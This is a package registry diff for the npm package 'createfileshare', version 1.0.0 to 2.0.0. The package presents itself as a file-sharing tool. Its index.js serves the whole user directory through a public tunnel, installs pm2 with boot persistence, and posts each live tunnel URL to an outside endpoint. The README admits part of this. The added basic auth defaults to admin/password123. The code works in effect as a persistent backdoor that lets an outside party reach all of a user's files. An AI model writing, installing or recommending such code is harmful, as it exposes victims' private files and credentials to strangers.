createfileshare 1.0.0 → 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +70 -0
  2. package/index.js +134 -47
  3. package/package.json +1 -1
package/README.md ADDED
@@ -0,0 +1,70 @@
1
+ # createfileshare
2
+
3
+ **createfileshare** is an automated Node.js CLI tool that transforms your computer into a persistent, public file server. It securely exposes your local user directory to the internet via an auto-healing tunnel that can survive machine reboots and network disconnections.
4
+
5
+ ---
6
+
7
+ ## šŸš€ Features
8
+
9
+ * **Instant File Server:** Instantly serves your `C:\Users` (Windows), `/Users` (macOS), or `/home` (Linux) directory on your local network.
10
+ * **Public Tunneling:** Automatically binds your local server to a public, internet-accessible URL using `localtunnel`.
11
+ * **Zero Downtime (Self-Healing):** A built-in network monitor constantly verifies both your internet connection and the public tunnel's health. If the tunnel goes stale or network drops, it immediately kills zombie processes and recycles the connection.
12
+ * **System Daemon Persistence:** Automatically installs and configures `pm2` to run the server entirely in the background. Setup includes OS-level startup scripts so your server boots up automatically whenever the computer restarts.
13
+ * **Webhook Reporting:** Posts the active, live URL directly to a specified API endpoint (default: `https://linksaver-psi.vercel.app/api/save`) upon a successful connection so you never lose your dynamic address.
14
+
15
+ ---
16
+
17
+ ## šŸ“¦ Prerequisites
18
+
19
+ You need [Node.js](https://nodejs.org/) installed on your machine.
20
+
21
+ ---
22
+
23
+ ## šŸ› ļø Usage
24
+
25
+ Run the script using Node.js. You can optionally provide a folder name, followed by a username and password for basic authentication:
26
+
27
+ \`\`\`bash
28
+ node index.js [folder-name] [username] [password]
29
+ \`\`\`
30
+
31
+ **Example:**
32
+ \`\`\`bash
33
+ node index.js secure-share admin supersecret123
34
+ \`\`\`
35
+ *(If you don't provide credentials, it defaults to \`admin\` and \`password123\`)*
36
+
37
+ **What happens next?**
38
+ 1. It creates the designated folder (defaulting to `my-fileshare`).
39
+ 2. Inside that folder, it generates a custom daemon script (`index.js`) tailored for your operating system.
40
+ 3. It installs necessary local dependencies (`localtunnel`, `axios`, `serve`).
41
+ 4. It globally installs the `pm2` process manager.
42
+ 5. It configures the new daemon to run continuously in the background and sets it to auto-start on boot.
43
+
44
+ ---
45
+
46
+ ## šŸ›‘ How to Stop or Remove
47
+
48
+ Because `createfileshare` integrates tightly with process managers to ensure 100% uptime, closing the terminal **will not** kill the server.
49
+
50
+ **To view logs (to check connectivity or URLs):**
51
+ \`\`\`bash
52
+ pm2 logs my-fileshare
53
+ \`\`\`
54
+
55
+ **To temporarily stop the server:**
56
+ \`\`\`bash
57
+ pm2 stop my-fileshare
58
+ \`\`\`
59
+
60
+ **To completely remove and delete the persistent daemon:**
61
+ \`\`\`bash
62
+ pm2 delete my-fileshare
63
+ pm2 save
64
+ \`\`\`
65
+
66
+ ---
67
+
68
+ ## āš ļø Security Warning
69
+
70
+ **Use with caution.** While this tool now uses Basic Authentication, the data streaming through the tunnel exposes your **entire user directory**. Do not use this tool on a computer containing highly sensitive, unencrypted private keys, passwords, or personal documents unless you understand the risks. Make sure to define a strong username and password when executing the setup script.
package/index.js CHANGED
@@ -5,7 +5,10 @@ const { execSync } = require('child_process');
5
5
  const os = require('os');
6
6
 
7
7
  // --- 1. CONFIGURATION ---
8
- const folderName = process.argv[2] || 'my-fileshare';
8
+ const args = process.argv.slice(2);
9
+ const folderName = args[0] || 'my-fileshare';
10
+ const authUsername = args[1] || 'admin';
11
+ const authPassword = args[2] || 'password123';
9
12
  const targetDir = path.join(process.cwd(), folderName);
10
13
  const apiEndpoint = "https://linksaver-psi.vercel.app/api/save";
11
14
  const PORT = 1903;
@@ -18,61 +21,146 @@ if (!fs.existsSync(targetDir)) {
18
21
  }
19
22
 
20
23
  // --- 3. GENERATE THE INTERNAL SERVER SCRIPT ---
24
+ // We use a regular string here to avoid template literal escaping madness
21
25
  const scriptContent = `
22
- const { exec } = require('child_process');
23
26
  const os = require('os');
24
27
  const path = require('path');
28
+ const http = require('http');
25
29
  const localtunnel = require('localtunnel');
26
30
  const axios = require('axios');
31
+ const express = require('express');
32
+ const basicAuth = require('express-basic-auth');
33
+ const serveIndex = require('serve-index');
27
34
 
28
35
  const platform = os.platform();
29
36
  const usersPath = platform === 'win32'
30
37
  ? path.join(process.env.SystemDrive || 'C:', 'Users')
31
38
  : (platform === 'darwin' ? '/Users' : '/home');
32
39
 
33
- // Force start npx serve on Port ${PORT}
34
- const server = exec(\`npx serve "\${usersPath}" -l ${PORT} -n\`);
35
-
36
- (async () => {
37
- // Wait 3 seconds to ensure the 'npx serve' process is fully up
38
- await new Promise(resolve => setTimeout(resolve, 3000));
39
-
40
- const connectTunnel = async (retries = 0) => {
41
- try {
42
- console.log(\`Attempting to open tunnel on port ${PORT}...\`);
43
- const tunnel = await localtunnel({
44
- port: ${PORT},
45
- host: 'https://localtunnel.me' // Explicitly set host
46
- });
47
-
48
- tunnel.on('close', () => {
49
- console.log("tunnel closed reconnecting...");
50
- setTimeout(connectTunnel, 5000);
51
- });
52
-
53
- console.log(\`Tunnel Live: \${tunnel.url}\`);
54
-
55
- await axios.post('${apiEndpoint}', {
56
- link: tunnel.url,
57
- });
58
-
59
- tunnel.on('error', (err) => {
60
- console.error('Tunnel Error, restarting...', err);
61
- setTimeout(connectTunnel, 5000); // Auto-restart on crash
62
- });
63
-
64
- } catch (err) {
65
- if (retries > 0) {
66
- console.error(\`Connection refused. Retrying in 5s... (\${retries} left)\`);
67
- setTimeout(() => connectTunnel(retries - 1), 5000);
68
- } else {
69
- console.error("Max retries reached. Localtunnel servers might be down.");
70
- }
40
+ let tunnelInstance = null;
41
+ let serverInstance = null;
42
+ let isOnline = false;
43
+
44
+ // Express setup
45
+ const app = express();
46
+ app.use(basicAuth({
47
+ users: { '${authUsername}': '${authPassword}' },
48
+ challenge: true,
49
+ realm: 'SecureFileShare'
50
+ }));
51
+ app.use(express.static(usersPath));
52
+ app.use(serveIndex(usersPath, { 'icons': true }));
53
+
54
+ // 1. Helper to check real internet connectivity
55
+ const checkInternet = () => {
56
+ return new Promise((resolve) => {
57
+ const req = http.request({
58
+ hostname: 'google.com',
59
+ port: 80,
60
+ method: 'HEAD',
61
+ timeout: 5000
62
+ }, () => resolve(true));
63
+
64
+ req.on('error', () => resolve(false));
65
+ req.on('timeout', () => { req.destroy(); resolve(false); });
66
+ req.end();
67
+ });
68
+ };
69
+
70
+ // 2. Helper to check if the public tunnel is actually responsive
71
+ const checkTunnelHealth = async (url) => {
72
+ try {
73
+ await axios.get(url, { timeout: 8000, headers: { 'User-Agent': 'HealthCheck' } });
74
+ return true;
75
+ } catch (err) {
76
+ if (err.response && err.response.status < 500) return true;
77
+ return false;
78
+ }
79
+ };
80
+
81
+ const startServices = async () => {
82
+ try {
83
+ console.log("Starting local secure file server...");
84
+ serverInstance = app.listen(${PORT});
85
+
86
+ await new Promise(r => setTimeout(r, 1000));
87
+
88
+ console.log("Attempting to open tunnel on port ${PORT}...");
89
+ tunnelInstance = await localtunnel({
90
+ port: ${PORT},
91
+ host: 'https://localtunnel.me'
92
+ });
93
+
94
+ console.log("Tunnel Live: " + tunnelInstance.url);
95
+
96
+ await axios.post('${apiEndpoint}', {
97
+ link: tunnelInstance.url,
98
+ });
99
+ console.log("URL reported to API successfully.");
100
+
101
+ tunnelInstance.on('close', () => {
102
+ console.log("Tunnel closed.");
103
+ tunnelInstance = null;
104
+ });
105
+
106
+ } catch (err) {
107
+ console.error("Failed to start services:", err.message);
108
+ stopServices();
109
+ }
110
+ };
111
+
112
+ const stopServices = () => {
113
+ console.log("Stopping all services...");
114
+ if (tunnelInstance) {
115
+ tunnelInstance.close();
116
+ tunnelInstance = null;
117
+ }
118
+ if (serverInstance) {
119
+ serverInstance.close();
120
+ serverInstance = null;
121
+ }
122
+ };
123
+
124
+ // 3. Main Monitor Loop
125
+ const monitorNetwork = async () => {
126
+ const currentlyOnline = await checkInternet();
127
+
128
+ if (currentlyOnline && !isOnline) {
129
+ console.log("Network detected: ONLINE. Starting services...");
130
+ await startServices();
131
+ if (tunnelInstance && serverInstance) {
132
+ isOnline = true;
71
133
  }
72
- };
134
+ } else if (!currentlyOnline && isOnline) {
135
+ console.log("Network lost: OFFLINE. Stopping services...");
136
+ isOnline = false;
137
+ stopServices();
138
+ } else if (currentlyOnline && (!tunnelInstance || !serverInstance)) {
139
+ console.log("Online but services missing. Restarting...");
140
+ stopServices();
141
+ await startServices();
142
+ } else if (currentlyOnline && tunnelInstance) {
143
+ const responsive = await checkTunnelHealth(tunnelInstance.url);
144
+ if (!responsive) {
145
+ console.log("Tunnel detected as STALE. Recycling...");
146
+ stopServices();
147
+ await startServices();
148
+ }
149
+ }
150
+
151
+ setTimeout(monitorNetwork, 15000);
152
+ };
153
+
154
+ console.log("Daemon monitoring initialized with self-healing...");
155
+ monitorNetwork();
73
156
 
74
- connectTunnel();
75
- })();
157
+ const cleanup = () => {
158
+ console.log("Received kill signal, shutting down...");
159
+ stopServices();
160
+ process.exit(0);
161
+ };
162
+ process.on('SIGINT', cleanup);
163
+ process.on('SIGTERM', cleanup);
76
164
  `;
77
165
 
78
166
  fs.writeFileSync(path.join(targetDir, 'index.js'), scriptContent);
@@ -85,7 +173,9 @@ const pkgJson = {
85
173
  dependencies: {
86
174
  "localtunnel": "^2.0.2",
87
175
  "axios": "^1.6.0",
88
- "serve": "^14.2.0"
176
+ "express": "^4.18.2",
177
+ "express-basic-auth": "^1.2.1",
178
+ "serve-index": "^1.9.1"
89
179
  }
90
180
  };
91
181
  fs.writeFileSync(path.join(targetDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
@@ -99,7 +189,6 @@ try {
99
189
  execSync(`npm install -g pm2`, { stdio: 'inherit' });
100
190
 
101
191
  console.log(`\nšŸ”„ Step 3: Starting PM2 Process (Force)...`);
102
- // --force ensures it overwrites if a process with this name exists
103
192
  execSync(`pm2 start index.js --name "${folderName}" --force`, { cwd: targetDir, stdio: 'inherit' });
104
193
 
105
194
  console.log(`\nšŸ› ļø Step 4: Automating OS Startup...`);
@@ -110,7 +199,6 @@ try {
110
199
  execSync(`npm install -g pm2-windows-startup`, { stdio: 'inherit' });
111
200
  execSync(`pm2-startup install`, { stdio: 'inherit' });
112
201
  } else {
113
- // Linux/Mac: Capture and execute the sudo command
114
202
  const startupResult = execSync(`pm2 startup`, { encoding: 'utf8' });
115
203
  const lines = startupResult.split('\n');
116
204
  const commandToRun = lines.find(line => line.trim().startsWith('sudo') || line.trim().includes('env PATH'));
@@ -130,5 +218,4 @@ try {
130
218
  } catch (error) {
131
219
  console.error(`\nāŒ Critical Failure during Force Execution:`);
132
220
  console.error(error.message);
133
- console.log(`\nTIP: Ensure you are running this terminal as ADMINISTRATOR or with SUDO.`);
134
221
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "createfileshare",
3
- "version": "1.0.0",
3
+ "version": "2.0.0",
4
4
  "bin": {
5
5
  "createfileshare": "./index.js"
6
6
  }